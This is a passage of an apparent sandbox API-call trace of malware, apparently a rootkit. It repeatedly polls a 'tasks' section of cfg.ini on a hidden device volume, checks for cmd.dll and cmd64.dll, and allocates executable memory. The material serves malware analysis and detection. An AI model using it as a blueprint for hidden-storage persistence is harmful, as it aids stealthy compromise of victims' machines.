_Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.519] KeEnterCriticalRegion () [0125.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.519] ExFreePoolWithTag (P=0xfffffa8003bf7fb0, Tag=0x0) [0125.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.519] KeLeaveCriticalRegion () [0125.519] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.519] ReleaseMutex (hMutex=0xf0) returned 1 [0125.520] Sleep (dwMilliseconds=0x927c0) [0125.536] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.536] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.536] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.536] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.536] KeEnterCriticalRegion () [0125.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.536] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.536] IdePortDispatch () returned 0x103 [0125.536] KeWaitForMutexObject () returned 0x0 [0125.536] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.536] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.536] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.536] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.536] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.536] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8e60 [0125.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.536] KeLeaveCriticalRegion () [0125.536] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.536] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.536] KeEnterCriticalRegion () [0125.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.536] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.536] KeLeaveCriticalRegion () [0125.536] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.536] KeEnterCriticalRegion () [0125.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.536] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.536] IdePortDispatch () returned 0x103 [0125.537] KeWaitForMutexObject () returned 0x0 [0125.537] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.537] KeLeaveCriticalRegion () [0125.537] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.537] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.537] KeEnterCriticalRegion () [0125.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.537] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c72000 [0125.537] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.537] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.537] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.537] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.537] IdePortDispatch () returned 0x103 [0125.537] KeWaitForMutexObject () returned 0x0 [0125.537] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.537] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.537] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.537] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.537] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.537] IdePortDispatch () returned 0x103 [0125.538] KeWaitForMutexObject () returned 0x0 [0125.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.538] KeLeaveCriticalRegion () [0125.538] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.538] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.538] KeEnterCriticalRegion () [0125.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.538] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.538] KeLeaveCriticalRegion () [0125.538] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.538] KeEnterCriticalRegion () [0125.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.538] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.538] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf8f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.538] KeLeaveCriticalRegion () [0125.538] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.538] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.538] KeEnterCriticalRegion () [0125.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.538] ExFreePoolWithTag (P=0xfffffa8003bf8e60, Tag=0x0) [0125.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.538] KeLeaveCriticalRegion () [0125.538] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.538] ReleaseMutex (hMutex=0xf0) returned 1 [0125.539] Sleep (dwMilliseconds=0x927c0) [0125.552] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.552] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.552] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.552] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.552] KeEnterCriticalRegion () [0125.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.552] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.552] IdePortDispatch () returned 0x103 [0125.552] KeWaitForMutexObject () returned 0x0 [0125.552] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.552] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.553] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.553] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.553] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.553] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf79b0 [0125.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.553] KeLeaveCriticalRegion () [0125.553] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.553] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.553] KeEnterCriticalRegion () [0125.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.553] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.553] KeLeaveCriticalRegion () [0125.553] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.553] KeEnterCriticalRegion () [0125.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.553] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.553] IdePortDispatch () returned 0x103 [0125.553] KeWaitForMutexObject () returned 0x0 [0125.553] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.553] KeLeaveCriticalRegion () [0125.553] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.553] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.553] KeEnterCriticalRegion () [0125.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.553] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c77000 [0125.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.553] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.553] IdePortDispatch () returned 0x103 [0125.554] KeWaitForMutexObject () returned 0x0 [0125.554] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.554] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.554] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.554] IdePortDispatch () returned 0x103 [0125.554] KeWaitForMutexObject () returned 0x0 [0125.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.554] KeLeaveCriticalRegion () [0125.554] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.554] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.554] KeEnterCriticalRegion () [0125.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.554] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.555] KeLeaveCriticalRegion () [0125.555] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.555] KeEnterCriticalRegion () [0125.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.555] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.555] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf8f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.555] KeLeaveCriticalRegion () [0125.555] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.555] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.555] KeEnterCriticalRegion () [0125.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.555] ExFreePoolWithTag (P=0xfffffa8003bf79b0, Tag=0x0) [0125.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.555] KeLeaveCriticalRegion () [0125.555] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.555] ReleaseMutex (hMutex=0xf0) returned 1 [0125.555] Sleep (dwMilliseconds=0x927c0) [0125.570] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.570] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.570] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.570] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.570] KeEnterCriticalRegion () [0125.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.570] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.570] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.570] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.570] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.570] IdePortDispatch () returned 0x103 [0125.570] KeWaitForMutexObject () returned 0x0 [0125.570] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.570] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.570] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.570] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.570] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.570] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7320 [0125.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.570] KeLeaveCriticalRegion () [0125.570] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.570] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.570] KeEnterCriticalRegion () [0125.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.570] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.570] KeLeaveCriticalRegion () [0125.570] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.570] KeEnterCriticalRegion () [0125.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.570] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.570] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.570] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.570] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.570] IdePortDispatch () returned 0x103 [0125.571] KeWaitForMutexObject () returned 0x0 [0125.571] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.571] KeLeaveCriticalRegion () [0125.571] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.571] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.571] KeEnterCriticalRegion () [0125.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.571] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7c000 [0125.571] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.571] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.571] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.571] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.571] IdePortDispatch () returned 0x103 [0125.571] KeWaitForMutexObject () returned 0x0 [0125.571] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.571] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.571] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.571] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.571] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.571] IdePortDispatch () returned 0x103 [0125.572] KeWaitForMutexObject () returned 0x0 [0125.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.572] KeLeaveCriticalRegion () [0125.572] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.572] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.572] KeEnterCriticalRegion () [0125.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.572] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.572] KeLeaveCriticalRegion () [0125.572] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.572] KeEnterCriticalRegion () [0125.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.572] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.572] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.572] KeLeaveCriticalRegion () [0125.572] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.572] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.572] KeEnterCriticalRegion () [0125.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.572] ExFreePoolWithTag (P=0xfffffa8003bf7320, Tag=0x0) [0125.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.572] KeLeaveCriticalRegion () [0125.572] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.573] ReleaseMutex (hMutex=0xf0) returned 1 [0125.573] Sleep (dwMilliseconds=0x927c0) [0125.586] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.586] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.586] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.586] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.586] KeEnterCriticalRegion () [0125.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.586] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.586] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.586] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.586] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.586] IdePortDispatch () returned 0x103 [0125.587] KeWaitForMutexObject () returned 0x0 [0125.587] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.587] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.587] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.587] strncpy (in: 